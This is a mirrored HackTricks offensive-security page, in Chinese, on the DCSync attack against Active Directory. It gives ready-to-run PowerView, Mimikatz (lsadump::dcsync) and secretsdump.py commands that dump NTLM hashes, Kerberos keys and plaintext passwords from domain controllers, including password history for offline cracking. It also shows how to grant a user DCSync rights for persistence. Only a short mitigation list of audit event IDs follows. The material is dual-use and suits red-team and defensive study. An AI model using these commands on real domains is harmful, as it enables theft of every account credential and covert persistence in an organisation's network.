mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 21:24:06 +00:00
6.4 KiB
6.4 KiB
DCSync
使用 Trickest 轻松构建并自动化工作流程,由世界上最先进的社区工具提供支持。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
从零开始学习 AWS 黑客攻击直到成为专家,通过 htARTE (HackTricks AWS Red Team Expert)!
其他支持 HackTricks 的方式:
- 如果您想在 HackTricks 中看到您的公司广告 或 下载 HackTricks 的 PDF,请查看 订阅计划!
- 获取 官方 PEASS & HackTricks 商品
- 发现 PEASS 家族,我们独家的 NFTs 集合
- 加入 💬 Discord 群组 或 telegram 群组 或在 Twitter 🐦 上 关注 我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
DCSync
DCSync 权限意味着拥有对域本身的以下权限:DS-Replication-Get-Changes、Replicating Directory Changes All 和 Replicating Directory Changes In Filtered Set。
关于 DCSync 的重要说明:
- DCSync 攻击模拟域控制器的行为,并请求其他域控制器使用目录复制服务远程协议 (MS-DRSR) 复制信息。由于 MS-DRSR 是 Active Directory 的有效且必要功能,因此无法关闭或禁用。
- 默认情况下,只有 域管理员、企业管理员、管理员和域控制器 组具有所需的权限。
- 如果任何帐户密码存储时使用了可逆加密,Mimikatz 提供了一个选项,可以以明文形式返回密码。
枚举
使用 powerview
检查谁拥有这些权限:
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
本地利用
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
远程利用
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking
-just-dc
会生成3个文件:
- 一个包含 NTLM 哈希值
- 一个包含 Kerberos 密钥
- 一个包含来自 NTDS 的明文密码,适用于设置了可逆加密 **** 的任何账户。你可以使用以下命令获取设置了可逆加密的用户:
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
持久性
如果你是域管理员,你可以使用 powerview
帮助任何用户授予这些权限:
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
然后,您可以检查用户是否被正确分配了3个权限,方法是在输出中查找它们(您应该能够在"ObjectType"字段内看到权限的名称):
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
缓解措施
- 安全事件 ID 4662(必须启用对象的审计策略)- 对对象执行了操作
- 安全事件 ID 5136(必须启用对象的审计策略)- 目录服务对象被修改
- 安全事件 ID 4670(必须启用对象的审计策略)- 对象的权限被更改
- AD ACL Scanner - 创建并比较ACL报告。 https://github.com/canix1/ADACLScanner
参考资料
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync
- https://yojimbosecurity.ninja/dcsync/
通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF版本,请查看订阅计划!
- 获取官方的PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
使用 Trickest 轻松构建并自动化工作流程,由世界上最先进的社区工具提供支持。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}